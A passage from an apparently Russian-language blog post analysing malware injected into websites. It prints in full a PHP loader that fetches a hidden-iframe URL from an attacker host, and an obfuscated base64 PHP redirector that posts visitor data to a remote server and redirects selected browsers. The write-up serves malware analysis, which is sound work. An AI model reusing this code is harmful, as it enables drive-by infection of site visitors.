keep-alive\\r\\n&quot;.         &quot;Referer: http:\/\/$host\\r\\n\\r\\n&quot;     );     while($buffer = fread($socket, 4096)) {         $response .= $buffer;     }     fclose($socket);      $_10 = &quot;i&quot;; \/\/ \u043c\u0443\u0441\u043e\u0440      $header_end = strpos($response, &quot;\\r\\n\\r\\n&quot;);      \/\/ \u043c\u0443\u0441\u043e\u0440     if (0 && addcslashes($_5,$_2,$_5,$_7)){         fflush($_12,$_7,$_11);     }      $response = substr($response, $header_end + 4);      \/\/\u043c\u0443\u0441\u043e\u0440     if(0 && file_get_contents($_3,$_3,$_3)){         array_fill_keys($_13);     }      return $response; }  function l__2 ($iframeurl) { \/\/ \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e curl     $curl = curl_init($iframeurl);      \/\/\u043c\u0443\u0441\u043e\u0440     if (4619&gt;3683 || curl_multi_exec($_14));     else {         array_push($_11);     }      curl_setopt($curl, 42, FALSE);      \/\/ \u043c\u0443\u0441\u043e\u0440     if (6137 &lt; mt_rand(1717, 4415)){         imagecreatefromgif($_2,$_15,$_16);     }      curl_setopt($curl, 19913, TRUE);     curl_setopt($curl, 13, 15);     $response = curl_exec($curl);     curl_close($curl);     return $response; }  function l__3 ($iframeurl) { \/\/ \u0432\u044b\u0431\u043e\u0440 \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430     if (ini_get(&quot;allow_url_fopen&quot;) == 1) {         echo l__0($iframeurl);     } else {         $parsed = parse_url($iframeurl);         if($socket = @fsockopen($parsed[&quot;host&quot;], 80, $garbage_variable1, $garbage_variable2, 15)) {             echo l__1($socket, $parsed[&quot;host&quot;], $parsed[&quot;path&quot;], $parsed[&quot;query&quot;]);         } elseif (@function_exists(&quot;curl_init&quot;)) {             echo l__2($iframeurl);         }     } } ?&gt;  <\/code><\/pre>\n<\/div>\n<\/div>\n<p>  \u0418 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0432\u0441\u0451 \u043b\u0438\u0448\u043d\u0435\u0435:<\/p>\n<pre><code class=\"php\">&lt;?php  defined(IFRAME_URL, &quot;http:\/\/wordpresstest.info\/7.txt&quot;); echo l__3(IFRAME_URL); echo @file_get_contents(&quot;http:\/\/&quot;.$_SERVER[&quot;HTTP_HOST&quot;].$_SERVER[&quot;REQUEST_URI&quot;]);  function l__0 ($iframeurl) { \/\/ \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e file_get_contents     $socket_options = stream_context_create(array(&quot;http&quot; =&gt; array(&quot;timeout&quot; =&gt; 15)));     return file_get_contents($iframeurl, false, $_3); }  function l__1 ($socket, $host, $path, $query) { \/\/ \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e fsockopen     fputs($socket,         &quot;GET &quot;.$path.&quot;?&quot;.$query.&quot; HTTP 1.0\\r\\n&quot;.         &quot;Host: $host\\r\\n&quot;.         &quot;User-Agent: Mozilla\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko\/20060426 Firefox\/1.5.0.3\\r\\n&quot;.         &quot;Accept: *\/*\\r\\n&quot;.         &quot;Accept-Language: en-us,en;q=0.5\\r\\n&quot;.         &quot;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\\r\\n&quot;.         &quot;Keep-Alive: 300\\r\\n&quot;.         &quot;Connection: keep-alive\\r\\n&quot;.         &quot;Referer: http:\/\/$host\\r\\n\\r\\n&quot;     );     while($buffer = fread($socket, 4096)) {         $response .= $buffer;     }     fclose($socket);     $header_end = strpos($response, &quot;\\r\\n\\r\\n&quot;);     $response = substr($response, $header_end + 4);     return $response; }  function l__2 ($iframeurl) { \/\/ \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e curl     $curl = curl_init($iframeurl);     curl_setopt($curl, 42, FALSE);     curl_setopt($curl, 19913, TRUE);     curl_setopt($curl, 13, 15);     $response = curl_exec($curl);     curl_close($curl);     return $response; }  function l__3 ($iframeurl) { \/\/ \u0432\u044b\u0431\u043e\u0440 \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430     if (ini_get(&quot;allow_url_fopen&quot;) == 1) {         echo l__0($iframeurl);     } else {         $parsed = parse_url($iframeurl);         if($socket = @fsockopen($parsed[&quot;host&quot;], 80, $garbage_variable1, $garbage_variable2, 15)) {             echo l__1($socket, $parsed[&quot;host&quot;], $parsed[&quot;path&quot;], $parsed[&quot;query&quot;]);         } elseif (@function_exists(&quot;curl_init&quot;)) {             echo l__2($iframeurl);         }     } } ?&gt;  <\/code><\/pre>\n<p>  \u0418\u0437 \u043a\u043e\u0434\u0430 \u044f\u0441\u043d\u043e, \u0447\u0442\u043e \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043b\u044e\u0431\u044b\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c (\u0438\u0437 \u0442\u0440\u0451\u0445 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445) \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 <a href=\"http:\/\/wordpresstest.info\/7.txt\">wordpresstest.info\/7.txt<\/a> (<i>\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u044b \u0438 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u044b \u043c\u043e\u0433\u0443\u0442 \u0440\u0443\u0433\u0430\u0442\u044c\u0441\u044f \u043f\u0440\u0438 \u043f\u043e\u0441\u0435\u0449\u0435\u043d\u0438\u0438<\/i>). \u041d\u0430 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u0441\u0435\u0433\u043e \u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u0447\u043a\u0430 \u2014 \u043e\u0434\u043d\u043e\u043f\u0438\u043a\u0441\u0435\u043b\u044c\u043d\u044b\u0439 \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u044b\u0439 \u0444\u0440\u0435\u0439\u043c, \u0430\u0434\u0440\u0435\u0441 \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0437 \u0432 \u043c\u0438\u043d\u0443\u0442\u0443.<\/p>\n<pre><code class=\"html\">&lt;iframe src=&quot;http:\/\/raynesparkcarbootsale.co.uk\/vmyehem.php&quot; width=1 height=1 style=&quot;visibility: hidden&quot;&gt;&lt;\/iframe&gt; <\/code><\/pre>\n<p>  \u041f\u0440\u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u043f\u043e \u0434\u0430\u043d\u043d\u043e\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443 \u043c\u044b \u0443\u0432\u0438\u0434\u0438\u043c \u0431\u0435\u043b\u044b\u0439 \u044d\u043a\u0440\u0430\u043d \u0441 2 \u0441\u0438\u043c\u0432\u043e\u043b\u0430\u043c\u0438 (1z \/ 2z \/ 3z \/ 4z), \u043c\u0435\u043d\u044f\u044e\u0449\u0438\u043c\u0438\u0441\u044f \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.<\/p>\n<p>  \u041f\u043e\u043d\u044f\u0432, \u0447\u0442\u043e \u0430\u0434\u0440\u0435\u0441 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f, \u044f \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u0438\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0430\u0437 \u0432 \u043c\u0438\u043d\u0443\u0442\u0443 (\u043f\u043e cron&#8217;\u0443) \u0441\u0442\u0443\u0447\u0430\u043b\u0441\u044f \u043a \u0444\u0430\u0439\u043b\u0443 7.txt, \u0437\u0430\u0431\u0438\u0440\u0430\u043b \u0438\u0437 \u043d\u0435\u0433\u043e \u0430\u0434\u0440\u0435\u0441 \u0441\u0430\u0439\u0442\u0430 \u0438 \u043f\u0438\u0441\u0430\u043b \u0432 \u0431\u0430\u0437\u0443.<br \/>  \u0427\u0435\u0440\u0435\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432, \u043c\u043e\u0439 \u043d\u0430\u0433\u043b\u044b\u0439 DDOS \u0431\u044b\u043b, \u0441\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u0437\u0430\u043c\u0435\u0447\u0435\u043d \u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043c\u043e\u0435\u043c\u0443 \u0441\u043a\u0440\u0438\u043f\u0442\u0443 \u0431\u044b\u043b \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d. \u041d\u043e \u043e\u043d \u0443\u0441\u043f\u0435\u043b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043f\u0430\u0440\u0441\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 400 \u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u0440\u044f\u0434\u043a\u0430 20-30 \u0434\u043e\u043c\u0435\u043d\u043e\u0432 \u0432 \u0437\u043e\u043d\u0435 .ru.<br \/>  \u0414\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0434\u043e \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0431\u044b\u043b\u043e \u043d\u0435 \u0442\u0440\u0443\u0434\u043d\u043e \u2014 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u0434 \u0445\u043e\u0442\u044c \u0438 \u043d\u0435 \u0431\u044b\u0441\u0442\u0440\u043e, \u043d\u043e \u043d\u0435 \u0441\u043b\u043e\u0436\u043d\u043e. \u0410 \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435? \u0414\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u044b \u0441\u0430\u0439\u0442\u044b \u0438\u0437 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432 \u0444\u0430\u0439\u043b\u0435 7.txt, \u0443 \u043c\u0435\u043d\u044f \u043d\u0435\u0442. \u0410 \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c, \u0435\u0441\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043d\u0435\u0442? \u0415\u0433\u043e \u043d\u0430\u0434\u043e \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u0442\u044c! \u041d\u0443 \u0438\u043b\u0438 \u0445\u043e\u0442\u044f \u0431\u044b \u0443\u0433\u043e\u0432\u043e\u0440\u0438\u0442\u044c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043e\u0442\u0434\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u0444\u0440\u0435\u0439\u043c. <br \/>  \u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e\u0442 \u0448\u0430\u0433 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0441\u0430\u043c\u044b\u043c \u0442\u0440\u0443\u0434\u043d\u044b\u043c \u2014 \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0443 \u0441\u0430\u0439\u0442\u0430, \u0447\u0442\u043e \u044f \u043d\u0435 \u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u043b \u0435\u0433\u043e \u0441\u0430\u0439\u0442, \u043d\u0435 \u0445\u043e\u0447\u0443 \u0435\u043c\u0443 \u0447\u0442\u043e-\u0442\u043e \u043f\u0440\u043e\u0434\u0430\u0442\u044c, \u044d\u0442\u043e \u043d\u0435 \u043c\u043e\u0439 \u0441\u043a\u0440\u0438\u043f \u0438 \u044f \u043d\u0435 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0435\u0433\u043e \u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u042f \u043f\u0440\u043e\u0441\u0442\u043e \u0445\u043e\u0447\u0443 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f\u2026<br \/>  \u0412 \u043a\u043e\u043d\u0446\u0435 \u043a\u043e\u043d\u0446\u043e\u0432, \u043e\u0434\u0438\u043d \u0438\u0437 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u0432 \u0441\u0430\u0439\u0442\u043e\u0432 \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u043b\u0441\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043d\u0435 \u0444\u0430\u0439\u043b, \u043f\u043e\u043d\u0430\u0434\u0435\u044f\u0432\u0448\u0438\u0441\u044c, \u0447\u0442\u043e \u043d\u0430 \u043d\u0451\u043c \u044d\u0442\u043e \u043d\u0435 \u0441\u043a\u0430\u0436\u0435\u0442\u0441\u044f \u043a\u0430\u043a-\u043b\u0438\u0431\u043e \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u043e. \u0421\u043f\u0430\u0441\u0438\u0431\u043e \u0435\u043c\u0443 \u0437\u0430 \u044d\u0442\u043e!  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"php\">&lt;? $GLOBALS['_664181862_']=Array(base64_decode('Z'.'GVmaW5l'),base64_decode('c3RydG9'.'sb3dl'.'cg=='),base64_decode('a'.'W1'.'hZ2'.'Vj'.'c'.'mVhd'.'GV'.'mc'.'m9tZ2lm'),base64_decode('bX'.'RfcmFuZA=='),base64_decode('c'.'3'.'Ryc'.'G9z'),base64_decode('c3RycG9'.'z'),base64_decode('c3RydG9sb3'.'dlc'.'g=='),base64_decode('c3R'.'yX3JlcG'.'xh'.'Y'.'2'.'U='),base64_decode('dXJ'.'sZW'.'5jb'.'2Rl'),base64_decode('dX'.'JsZW5jb2Rl'),base64_decode('aGVhZG'.'Vy'),base64_decode('d'.'HJpbQ='.'='),base64_decode('aW'.'5pX2dldA'.'=='),base64_decode('cG'.'F'.'yc2VfdX'.'Js'),base64_decode(''.'ZnN'.'vY2tvcGVu'),base64_decode('Z'.'nVuY3R'.'pb'.'2'.'5fZX'.'hpc3'.'Rz'),base64_decode('c3RyZWFtX2'.'NvbnRleHR'.'f'.'Y3J'.'lY'.'XRl'),base64_decode('Y'.'XJyYXlf'.'cmVkdWNl'),base64_decode(''.'ZmZsdXNo'),base64_decode('Zmls'.'ZV9nZXRf'.'Y2'.'9udGVudH'.'M='),base64_decode('Z'.'n'.'B1dHM='),base64_decode(''.'c'.'3RybG'.'Vu'),base64_decode('b'.'XR'.'fcm'.'FuZA=='),base64_decode(''.'Y'.'XJyYXlfZmlsbA=='),base64_decode(''.'ZnJl'.'YWQ'.'='),base64_decode('ZmNs'.'b'.'3Nl'),base64_decode('c3'.'RycG9z'),base64_decode('bXRf'.'cmFuZA=='),base64_decode(''.'Y'.'XJ'.'yYXlfZmx'.'pc'.'A=='),base64_decode('c3'.'Vic3Ry'),base64_decode('Y3VybF9pbml0'),base64_decode(''.'c'.'3'.'Vic3Ry'),base64_decode(''.'b'.'XRfcmF'.'uZA'.'=='),base64_decode('Y3Vyb'.'F9zZXR'.'v'.'cH'.'Q'.'='),base64_decode('Y3Vy'.'bF9zZ'.'XRvcHQ'.'='),base64_decode('cH'.'Jl'.'Z19'.'yZ'.'XB'.'sYW'.'Nl'),base64_decode('Z'.'nJ'.'lYWQ='),base64_decode('Y'.'3V'.'ybF9zZXRvcHQ='),base64_decode('Y3'.'VybF9zZ'.'X'.'R'.'vcHQ'.'='),base64_decode('c'.'3Ry'.'d'.'mFs'),base64_decode(''.'YXJy'.'YX'.'lf'.'bWVy'.'Z2'.'U='),base64_decode(''.'Y3VybF9'.'l'.'e'.'GVj'),base64_decode(''.'Y3'.'VybF9j'.'bG9zZ'.'Q==')); ?&gt;&lt;? function _724562126($i){$a=Array('QU'.'RN'.'SU5'.'fU'.'k'.'VESVJfVVJM','aHR0cDov'.'L3'.'R'.'lc3QuY'.'3VzdG9tc2V'.'4Y2Ftcy5jb20vcmIvZ2V0X3'.'V'.'ybC5waH'.'A=','SFRUUF'.'9VU'.'0VSX'.'0F'.'HR'.'U5U','SF'.'RUU'.'F9VU'.'0V'.'SX0FH'.'RU5U','','d'.'2luZG'.'93cw='.'=','MXo'.'=','b3Blcm'.'EvOS44MA='.'=','bXNpZSAxMA'.'==','bX'.'NpZSA5','bXNpZSA4','bXNpZSA3','Mno=','SFRU'.'UF9SRUZFUk'.'V'.'S','SF'.'RUUF'.'9SRU'.'ZFUkVS','','M'.'3'.'o=','SFRUUF9'.'I'.'T1N'.'U',''.'SFR'.'U'.'UF9IT'.'1NU','SFRUUF9I'.'T1NU','d3d3'.'Lg==','','SFRU'.'UF9IT1NU','ZD0'.'=','SF'.'R'.'UUF9IT1'.'N'.'U',''.'Og==','U'.'kVNT1'.'R'.'F'.'X0'.'FERFI'.'=','Og==','Q'.'kFE','NHo=','TG9'.'jY'.'XRpb2'.'46'.'IA==','Y'.'Wxs'.'b3dfdXJsX2Z'.'vcGVu','a'.'G9zd'.'A==','aG9zdA='.'=','cGF0aA='.'=','Y3VybF9pb'.'ml0','aHR0'.'cA==','bWV'.'0aG9'.'k','UE9TVA==','a'.'GV'.'hZGVy','Q29udG'.'VudC1'.'U'.'eXBlOiBh'.'cHBsaWNhdG'.'lv'.'bi9'.'4L'.'Xd3dy1m'.'b3'.'J'.'tL'.'XVybG'.'VuY29kZWQ'.'=','Cg==','Y29ud'.'GVudA'.'==','Ym'.'s=','UE'.'9'.'TVCA=','I'.'CBI'.'VFRQLzE'.'uM'.'A0K','VXN'.'lci'.'1BZ2'.'Vud'.'Dog'.'TW9'.'6aWxsYS'.'81LjAgKFdp'.'b'.'m'.'R'.'vd3M7IF'.'U'.'7IFdp'.'bmRvd3MgTl'.'QgNS4xO'.'yBl'.'bi1VUzs'.'gcnY6MS44'.'LjAuMyk'.'g'.'R'.'2V'.'ja28vMj'.'AwNjA0M'.'jYgRmlyZWZveC8'.'x'.'LjUu'.'MC4zDQo'.'=','QWN'.'jZXB0OiAqLy'.'oNC'.'g='.'=',''.'Q'.'WNjZXB0'.'LUxh'.'bmd'.'1YWdlOi'.'Blbi11cyxlbjtxPT'.'AuNQ0'.'K','QWN'.'jZX'.'B0LUN'.'o'.'YXJzZXQ6IE'.'lTTy0'.'4OD'.'U'.'5LTEsdXRmLTg'.'7cT0w'.'LjcsKj'.'txPTA'.'u'.'N'.'w0'.'K','Q29udG'.'VudC1M'.'ZW5n'.'dGg'.'6IA='.'=','D'.'Q'.'o=','','DQ'.'oN'.'Cg==','bQ==','am'.'1wcA==');return base64_decode($a[$i]);} ?&gt;&lt;?php $GLOBALS['_664181862_'][0](_724562126(0),_724562126(1));$_0=isset($_SERVER[_724562126(2)])?$GLOBALS['_664181862_'][1]($_SERVER[_724562126(3)]):_724562126(4);(round(0+3419)-round(0+1139.6666666667+1139.6666666667+1139.6666666667)+round(0+3826)-round(0+1275.3333333333+1275.3333333333+1275.3333333333))?$GLOBALS['_664181862_'][2]($_1,$_2):$GLOBALS['_664181862_'][3](round(0+854.75+854.75+854.75+854.75),round(0+1938+1938));if($GLOBALS['_664181862_'][4]($_0,_724562126(5))===false){exit(_724562126(6));}$_3=array(_724562126(7),_724562126(8),_724562126(9),_724562126(10),_724562126(11),);$_4=false;foreach($_3 as $_5){if($GLOBALS['_664181862_'][5]($_0,$_5)!==false){$_4=true;break;}}if(!$_4){exit(_724562126(12));}$_6=isset($_SERVER[_724562126(13)])?$_SERVER[_724562126(14)]:_724562126(15);if(empty($_6)){exit(_724562126(16));}$_SERVER[_724562126(17)]=$GLOBALS['_664181862_'][6]($_SERVER[_724562126(18)]);$_SERVER[_724562126(19)]=$GLOBALS['_664181862_'][7](_724562126(20),_724562126(21),$_SERVER[_724562126(22)]);$_7=_724562126(23) .$GLOBALS['_664181862_'][8]($_SERVER[_724562126(24)]) ._724562126(25) .$GLOBALS['_664181862_'][9]($_SERVER[_724562126(26)] ._724562126(27) .$_6);;$_8=l__0($_7);if($_8==_724562126(28)){exit(_724562126(29));}$GLOBALS['_664181862_'][10](_724562126(30) .$GLOBALS['_664181862_'][11]($_8));function l__0($_9){if($GLOBALS['_664181862_'][12](_724562126(31))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){return l__1($_9);}else{$_10=$GLOBALS['_664181862_'][13](ADMIN_REDIR_URL);if($_11=@$GLOBALS['_664181862_'][14]($_10[_724562126(32)],round(0+80),$_12,$_13,round(0+3.75+3.75+3.75+3.75))){return l__2($_11,$_10[_724562126(33)],$_10[_724562126(34)],$_9);}elseif(@$GLOBALS['_664181862_'][15](_724562126(35))){return l__3($_9);}}}function l__1($_7){$_14=$GLOBALS['_664181862_'][16](array(_724562126(36)=&gt; array(_724562126(37)=&gt; _724562126(38),_724562126(39)=&gt; _724562126(40) ._724562126(41),_724562126(42)=&gt; $_7,),));if((round(0+767.6+767.6+767.6+767.6+767.6)^round(0+1279.3333333333+1279.3333333333+1279.3333333333))&& $GLOBALS['_664181862_'][17]($_4,$_15,$_5))$GLOBALS['_664181862_'][18]($_16);return $GLOBALS['_664181862_'][19](ADMIN_REDIR_URL,false,$_14);$_17=_724562126(43);}function l__2($_11,$_18,$_19,$_7){$GLOBALS['_664181862_'][20]($_11,_724562126(44) .$_19 ._724562126(45) .&quot;Host: $_18\\r\\n&quot; ._724562126(46) ._724562126(47) ._724562126(48) ._724562126(49) ._724562126(50) .$GLOBALS['_664181862_'][21]($_7) ._724562126(51) .&quot;Content-Type: application\/x-www-form-urlencoded\\r\\n\\r\\n$_7&quot;);$_2=_724562126(52);if(round(0+1000.25+1000.25+1000.25+1000.25)&lt;$GLOBALS['_664181862_'][22](round(0+537+537+537),round(0+596.25+596.25+596.25+596.25)))$GLOBALS['_664181862_'][23]($_20,$_19,$_13);while($_15=$GLOBALS['_664181862_'][24]($_11,round(0+4096))){$_2 .= $_15;}$GLOBALS['_664181862_'][25]($_11);$_21=round(0+572+572);$_20=$GLOBALS['_664181862_'][26]($_2,_724562126(53));if(round(0+2240+2240)&lt;$GLOBALS['_664181862_'][27](round(0+359.75+359.75+359.75+359.75),round(0+759+759+759+759)))$GLOBALS['_664181862_'][28]($_14,$_20);$_2=$GLOBALS['_664181862_'][29]($_2,$_20+round(0+0.8+0.8+0.8+0.8+0.8));$_22=round(0+500.8+500.8+500.8+500.8+500.8);return $_2;}function l__3($_7){$_1=$GLOBALS['_664181862_'][30](ADMIN_REDIR_URL);(round(0+149+149+149)-round(0+447)+round(0+215)-round(0+71.666666666667+71.666666666667+71.666666666667))?$GLOBALS['_664181862_'][31]($_4,$_15,$_18):$GLOBALS['_664181862_'][32](round(0+89.4+89.4+89.4+89.4+89.4),round(0+3183));$GLOBALS['_664181862_'][33]($_1,42,FALSE);$_23=_724562126(54);$GLOBALS['_664181862_'][34]($_1,19913,TRUE);if((round(0+2508)+round(0+2036.5+2036.5))&gt;round(0+2508)|| $GLOBALS['_664181862_'][35]($_20));else{$GLOBALS['_664181862_'][36]($_15,$_7,$_12);}$GLOBALS['_664181862_'][37]($_1,13,round(0+3.75+3.75+3.75+3.75));$_24=_724562126(55);$GLOBALS['_664181862_'][38]($_1,10015,$_7);if((round(0+440+440+440+440)+round(0+200.25+200.25+200.25+200.25))&gt;round(0+586.66666666667+586.66666666667+586.66666666667)|| $GLOBALS['_664181862_'][39]($_11,$_3,$_15));else{$GLOBALS['_664181862_'][40]($_13,$_1);}$_16=$GLOBALS['_664181862_'][41]($_1);$GLOBALS['_664181862_'][42]($_1);$_25=round(0+1576.6666666667+1576.6666666667+1576.6666666667);return $_16;} <\/code><\/pre>\n<\/div>\n<\/div>\n<p>  \u0421\u0430\u043c\u043e \u0441\u043e\u0431\u043e\u0439 \u2014 \u0444\u0430\u0439\u043b \u0432 \u043e\u0434\u043d\u0443 \u0441\u0442\u0440\u043e\u043a\u0443, \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043e.<br \/>  \u0414\u043e\u0431\u0430\u0432\u0438\u043c \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u043e\u0432:  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"php\">&lt;? $GLOBALS['_664181862_']=Array( \tbase64_decode('ZGVmaW5l'), \tbase64_decode('c3RydG9sb3dlcg=='), \tbase64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'), \tbase64_decode('bXRfcmFuZA=='), \tbase64_decode('c3RycG9z'), \tbase64_decode('c3RycG9z'), \tbase64_decode('c3RydG9sb3dlcg=='), \tbase64_decode('c3RyX3JlcGxhY2U='), \tbase64_decode('dXJsZW5jb2Rl'), \tbase64_decode('dXJsZW5jb2Rl'), \tbase64_decode('aGVhZGVy'), \tbase64_decode('dHJpbQ=='), \tbase64_decode('aW5pX2dldA=='), \tbase64_decode('cGFyc2VfdXJs'), \tbase64_decode('ZnNvY2tvcGVu'), \tbase64_decode('ZnVuY3Rpb25fZXhpc3Rz'), \tbase64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'), \tbase64_decode('YXJyYXlfcmVkdWNl'), \tbase64_decode('ZmZsdXNo'), \tbase64_decode('ZmlsZV9nZXRfY29udGVudHM='), \tbase64_decode('ZnB1dHM='), \tbase64_decode('c3RybGVu'), \tbase64_decode('bXRfcmFuZA=='), \tbase64_decode('YXJyYXlfZmlsbA=='), \tbase64_decode('ZnJlYWQ='), \tbase64_decode('ZmNsb3Nl'), \tbase64_decode('c3RycG9z'), \tbase64_decode('bXRfcmFuZA=='), \tbase64_decode('YXJyYXlfZmxpcA=='), \tbase64_decode('c3Vic3Ry'), \tbase64_decode('Y3VybF9pbml0'), \tbase64_decode('c3Vic3Ry'), \tbase64_decode('bXRfcmFuZA=='), \tbase64_decode('Y3VybF9zZXRvcHQ='), \tbase64_decode('Y3VybF9zZXRvcHQ='), \tbase64_decode('cHJlZ19yZXBsYWNl'), \tbase64_decode('ZnJlYWQ='), \tbase64_decode('Y3VybF9zZXRvcHQ='), \tbase64_decode('Y3VybF9zZXRvcHQ='), \tbase64_decode('c3RydmFs'), \tbase64_decode('YXJyYXlfbWVyZ2U='), \tbase64_decode('Y3VybF9leGVj'), 